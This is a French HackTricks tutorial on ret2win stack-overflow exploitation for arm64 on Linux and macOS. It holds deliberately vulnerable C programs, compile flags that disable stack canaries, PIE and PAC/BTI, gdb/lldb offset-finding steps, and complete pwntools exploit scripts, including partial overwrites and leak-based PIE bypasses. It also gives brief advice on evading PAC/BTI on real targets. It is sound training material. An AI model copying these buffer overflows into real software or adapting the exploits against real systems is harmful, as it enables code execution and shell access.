Ret2win - arm64
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Trouvez une introduction à arm64 dans :
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compiler sans pie et canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Le flag supplémentaire
-mbranch-protection=nonedésactive AArch64 Branch Protection (PAC/BTI). Si votre toolchain active par défaut PAC ou BTI, cela permet de garder le lab reproductible. Pour vérifier si un binaire compilé utilise PAC/BTI vous pouvez : - Recherchez les propriétés GNU AArch64 :
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Inspectez les prologues/épilogues pour
paciasp/autiasp(PAC) ou pour des landing padsbti c(BTI) : objdump -d ret2win | head -n 40
Rappels rapides sur la convention d’appel AArch64
- Le registre de lien est
x30(aliaslr), et les fonctions sauvegardent typiquementx29/x30avecstp x29, x30, [sp, #-16]!et les restaurent avecldp x29, x30, [sp], #16; ret. - Cela signifie que l’adresse de retour sauvegardée se trouve à
sp+8relative à la base de frame. Avec unchar buffer[64]placé en dessous, la distance d’écrasement habituelle jusqu’aux30sauvegardé est 64 (buffer) + 8 (x29 sauvegardé) = 72 octets — exactement ce que nous trouverons ci‑dessous. - Le pointeur de pile doit rester aligné sur 16 octets aux frontières de fonction. Si vous construisez des chaînes ROP plus tard pour des scénarios plus complexes, conservez l’alignement du SP sinon vous risquez de provoquer un crash sur les épilogues de fonction.
Trouver l’offset
Option pattern
Cet exemple a été créé en utilisant GEF:
Lancez gdb avec gef, créez un pattern et utilisez-le :
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 essaiera de revenir à l’adresse contenue dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le pattern offset :
pattern search $x30
.png)
L’offset est 72 (9x48).
Stack offset option
Commencez par obtenir l’adresse du stack où est stocké le registre pc :
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Placez maintenant un breakpoint après le read() et lancez la commande continue jusqu’à ce que le read() soit exécuté, puis définissez un pattern tel que 13371337 :
b *vulnerable_function+28
c
.png)
Trouvez où ce motif est stocké en mémoire :
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Régulier
Obtenez l’adresse de la fonction win :
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
En fait, il s’agira plutôt d’un off-by-2 dans le PC stocké dans la stack. Au lieu d’écraser toute la return address, nous allons écraser seulement les 2 derniers bytes avec 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Vous pouvez trouver un autre exemple d’off-by-one en ARM64 dans https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, qui est un réel off-by-one dans une vulnérabilité fictive.
Avec PIE
Tip
Compilez le binaire sans l’argument
-no-pie
Off-by-2
Sans un leak nous ne connaissons pas l’adresse exacte de la win function mais nous pouvons connaître l’offset de la fonction dans le binaire et, sachant que l’adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak l’offset vers la win function (0x7d4) dans ce cas et d’utiliser simplement cet offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Compiler sans canary (sur macOS vous ne pouvez pas désactiver PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Exécuter sans ASLR (bien que nous ayons un address leak, nous n’en avons pas besoin) :
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Il n’est pas possible de désactiver NX sur macOS car sur arm64 ce mode est implémenté au niveau matériel, donc vous ne pouvez pas le désactiver, vous ne trouverez donc pas d’exemples avec shellcode dans la stack sur macOS.
Trouver l’offset
- Générer un pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Lancez le programme et entrez le pattern pour provoquer un crash :
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Vérifiez le registre
x30(l’adresse de retour) pour trouver l’offset :
(lldb) register read x30
- Utilisez
cyclic -l <value>pour trouver l’offset exact:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- C’est ainsi que j’ai trouvé l’offset
72: en plaçant à cet offset l’adresse de la fonctionwin(), vous pouvez exécuter cette fonction et obtenir un shell (exécution sans ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2e exemple
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Compiler sans canary (sur macOS vous ne pouvez pas désactiver PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Trouver l’offset
- Générez un pattern dans le fichier
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Exécutez le programme pour provoquer un crash:
lldb ./bof_macos
(lldb) run
- Vérifiez le registre
x30(l’adresse de retour) pour trouver l’offset :
(lldb) register read x30
- Utilisez
cyclic -l <value>pour trouver l’offset exact :
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- C’est ainsi que j’ai trouvé l’offset
72; en plaçant à cet offset l’adresse de la fonctionwin(), vous pouvez exécuter cette fonction et obtenir un shell (s’exécutant sans ASLR).
Calculer l’adresse de win()
- Le binaire est PIE ; en utilisant le leak de la fonction
leak_anchor()et en connaissant l’offset de la fonctionwin()par rapport àleak_anchor(), nous pouvons calculer l’adresse de la fonctionwin().
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- L’offset est
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- Si le binaire est compilé avec AArch64 Branch Protection, vous pouvez voir
paciasp/autiaspoubti cémis dans les prologues/épilogues de fonction. Dans ce cas : - Le retour vers une adresse qui n’est pas un BTI landing pad valide peut déclencher un
SIGILL. Préférez cibler l’entrée de fonction exacte qui contientbti c. - Si PAC est activé pour les retours, les écrasements naïfs d’adresse de retour peuvent échouer car l’épilogue authentifie
x30. Pour des scénarios d’apprentissage, recompilez avec-mbranch-protection=none(montré ci‑dessus). Lors d’attaques sur de vraies cibles, préférez des détournements sans retour (par ex. écrasements de function pointer) ou construisez du ROP qui n’exécute jamais la paireautiasp/retauthentifiant votre LR falsifié. - Pour vérifier rapidement les fonctionnalités :
readelf --notes -W ./ret2winet cherchez les notesAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40et cherchezbti c,paciasp,autiasp.
Running on non‑ARM64 hosts (qemu‑user quick tip)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Pages HackTricks associées
Références
- Activation de PAC et BTI sur AArch64 pour Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard d’appel de procédures pour l’architecture Arm 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


